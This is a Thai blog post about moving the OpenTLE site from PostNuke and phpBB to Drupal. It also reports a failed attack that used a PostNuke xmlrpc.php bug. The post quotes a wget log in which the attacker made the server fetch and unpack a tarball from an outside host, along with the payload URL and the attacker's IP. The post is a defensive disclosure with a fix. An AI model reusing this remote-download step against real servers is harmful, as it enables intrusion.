Postnuke

WebFest!!

หลังจากที่โดเมนหายไปสองวันกว่า ๆ ทางพี่กำธรก็ไฟเขียวแบบสายฟ้าแลบให้ย้ายเว็บทั้งหมดของ OpenTLE โดยตั้งไว้ว่า 1 คืน กับ 1 วัน เท่านั้นแต่พอเอาเข้าจริง ๆ ก็มีปัญหาจุกจิกพอสมควรยิ่งนานสมองยิ่งเบลอ เมาไปตาม ๆ กัน การย้ายครั้งนี้ย้ายจาก PostNuke + phpBB ไปยัง Drupal ตอนนี้เนื้อหาส่วนข่าวและเว็บบอร์ดทั้งหมดก็ย้ายมาหมดแล้วเหลือในส่วนของ WiKi สงสัยต้องใช้วิธีทึก ๆ เดี๊ยวหายมึนแล้วจะเรียบเรียง SQL script ที่ modify ของฝรั่งมาอีกที post ขึ้น blog วันนี้ขอเอาแรงก่อนพรุ่งนี้จะได้มาสู้ต่อ

โดนโจมตี Postnuke

ได้ยินข่าวเรื่อง bug ของ xmlrpc มาหลายวันแล้วแต่ยังไม่ได้แก้ไขวันนี้เลยเจอดีเข้าจนได้โดยได้มีมือดี จากหมายเลข IP 66.149.216.250 (Foundation For the Future) ส่งข้อมูลโดย method POST เข้ามาทาง /xmlrpc.php แล้วสั่งให้ทำการ download file ด้วย wget จาก http://dorohoi.org/insert/dh.tgz แล้วสั่งแตก tar ออกมา แต่กระบวนการนี้ไม่เสร็จโชคดีไปครับ เนื่องจากภายในบังคับผ่าน proxy ใครที่ยังไม่ได้แก้ไขก็รีบแก้นะครับก่อนจะสายเกินแก้ .. ผมอ่านเจอเขาแนะนำให้เอา xmlrpm.php ออกไปเลย พร้อมทั้ง ลบ module xmlrpc ออกไปด้วย –16:47:36– http://dorohoi.org/insert/dh.tgz => `dh.tgz’ Resolving dorohoi.org… 64.92.162.194 Connecting to dorohoi.org[64.92.162.194]:80… failed: Connection timed out. Retrying. . . . –17:49:52– http://dorohoi.org/insert/dh.tgz (try:20) => `dh.tgz’ Connecting to dorohoi.org[64.92.162.194]:80… failed: Connection timed out. Giving up. tar: dh.tgz: Cannot open: No such file or directory